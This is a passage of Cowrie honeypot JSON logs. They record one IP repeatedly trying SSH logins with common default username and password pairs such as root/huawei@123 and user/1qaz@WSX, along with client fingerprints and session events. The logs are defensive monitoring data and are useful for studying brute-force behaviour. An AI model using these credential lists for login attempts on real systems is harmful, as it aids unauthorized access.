0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:09:27.358997Z","src_ip":"192.109.200.237","session":"f2957f80d03f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin1","password":"123456","message":"login attempt [admin1/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:09:27.607605Z","src_ip":"192.109.200.237","session":"f2957f80d03f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:09:28.696813Z","src_ip":"192.109.200.237","session":"f2957f80d03f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":39032,"dst_ip":"159.203.135.109","dst_port":22,"session":"15c134103a26","protocol":"ssh","message":"New connection: 192.109.200.237:39032 (159.203.135.109:22) [session: 15c134103a26]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:09:30.382248Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:09:30.389501Z","src_ip":"192.109.200.237","session":"15c134103a26","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:09:30.473574Z","src_ip":"192.109.200.237","session":"15c134103a26","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"minecraft","password":"123","message":"login attempt [minecraft/123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:09:30.725490Z","src_ip":"192.109.200.237","session":"15c134103a26","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:09:31.812394Z","src_ip":"192.109.200.237","session":"15c134103a26","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":39046,"dst_ip":"159.203.135.109","dst_port":22,"session":"eb5581e6a777","protocol":"ssh","message":"New connection: 192.109.200.237:39046 (159.203.135.109:22) [session: eb5581e6a777]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:09:33.517822Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:09:33.523097Z","src_ip":"192.109.200.237","session":"eb5581e6a777","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:09:33.605580Z","src_ip":"192.109.200.237","session":"eb5581e6a777","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"omm","password":"omm","message":"login attempt [omm/omm] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:09:33.856420Z","src_ip":"192.109.200.237","session":"eb5581e6a777","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:09:35.043501Z","src_ip":"192.109.200.237","session":"eb5581e6a777","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":39062,"dst_ip":"159.203.135.109","dst_port":22,"session":"2e42a0444cac","protocol":"ssh","message":"New connection: 192.109.200.237:39062 (159.203.135.109:22) [session: 2e42a0444cac]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:09:36.650198Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:09:36.655758Z","src_ip":"192.109.200.237","session":"2e42a0444cac","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:09:36.738941Z","src_ip":"192.109.200.237","session":"2e42a0444cac","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"tidb","password":"tidb","message":"login attempt [tidb/tidb] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:09:36.988260Z","src_ip":"192.109.200.237","session":"2e42a0444cac","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:09:38.073045Z","src_ip":"192.109.200.237","session":"2e42a0444cac","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":39064,"dst_ip":"159.203.135.109","dst_port":22,"session":"e30685bc12b4","protocol":"ssh","message":"New connection: 192.109.200.237:39064 (159.203.135.109:22) [session: e30685bc12b4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:09:39.756925Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:09:39.761533Z","src_ip":"192.109.200.237","session":"e30685bc12b4","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:09:39.844091Z","src_ip":"192.109.200.237","session":"e30685bc12b4","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"huawei@123","message":"login attempt [root/huawei@123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:09:40.276808Z","src_ip":"192.109.200.237","session":"e30685bc12b4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:09:41.362067Z","src_ip":"192.109.200.237","session":"e30685bc12b4","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":34058,"dst_ip":"159.203.135.109","dst_port":22,"session":"fcab03d8373b","protocol":"ssh","message":"New connection: 192.109.200.237:34058 (159.203.135.109:22) [session: fcab03d8373b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:09:43.092891Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:09:43.098341Z","src_ip":"192.109.200.237","session":"fcab03d8373b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:09:43.180681Z","src_ip":"192.109.200.237","session":"fcab03d8373b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ricardo","password":"123456","message":"login attempt [ricardo/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:09:43.427947Z","src_ip":"192.109.200.237","session":"fcab03d8373b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":47138,"dst_ip":"10.17.0.5","dst_port":23,"session":"a215e4b117ca","protocol":"telnet","message":"New connection: 192.119.13.58:47138 (10.17.0.5:23) [session: a215e4b117ca]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:09:44.038079Z"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:09:44.512098Z","src_ip":"192.109.200.237","session":"fcab03d8373b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":34072,"dst_ip":"159.203.135.109","dst_port":22,"session":"ddbccfc4b568","protocol":"ssh","message":"New connection: 192.109.200.237:34072 (159.203.135.109:22) [session: ddbccfc4b568]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:09:46.327214Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:09:46.336861Z","src_ip":"192.109.200.237","session":"ddbccfc4b568","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:09:46.419303Z","src_ip":"192.109.200.237","session":"ddbccfc4b568","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"1qaz@WSX","message":"login attempt [user/1qaz@WSX] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:09:46.665679Z","src_ip":"192.109.200.237","session":"ddbccfc4b568","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:09:47.751767Z","src_ip":"192.109.200.237","session":"ddbccfc4b568","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":34082,"dst_ip":"159.203.135.109","dst_port":22,"session":"d36c4363ced4","protocol":"ssh","message":"New connection: 192.109.200.237:34082 (159.203.135.109:22) [session: d36c4363ced4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:09:49.555890Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:09:49.560794Z","src_ip":"192.109.200.237","session":"d36c4363ced4","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:09:49.643455Z","src_ip":"192.109.200.237","session":"d36c4363ced4","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ftp","password":"123456","message":"login attempt [ftp/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:09:49.888775Z","src_ip":"192.109.200.237","session":"d36c4363ced4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:09:50.974580Z","src_ip":"192.109.200.237","session":"d36c4363ced4","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":53454,"dst_ip":"159.203.135.109","dst_port":22,"session":"2e7219da0299","protocol":"ssh","message":"New connection: 192.109.200.237:53454 (159.203.135.109:22) [session: 2e7219da0299]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:09:52.757641Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:09:52.762748Z","src_ip":"192.109.200.237","session":"2e7219da0299","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:09:52.848595Z","src_ip":"192.109.200.237","session":"2e7219da0299","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Qwerty1","message":"login attempt [root/Qwerty1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:09:53.093891Z","src_ip":"192.109.200.237","session":"2e7219da0299","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:09:54.179664Z","src_ip":"192.109.200.237","session":"2e7219da0299","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":53456,"dst_ip":"159.203.135.109","dst_port":22,"session":"0e1d43466bb1","protocol":"ssh","message":"New connection: 192.109.200.237:53456 (159.203.135.109:22) [session: 0e1d43466bb1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:09:55.928913Z"}
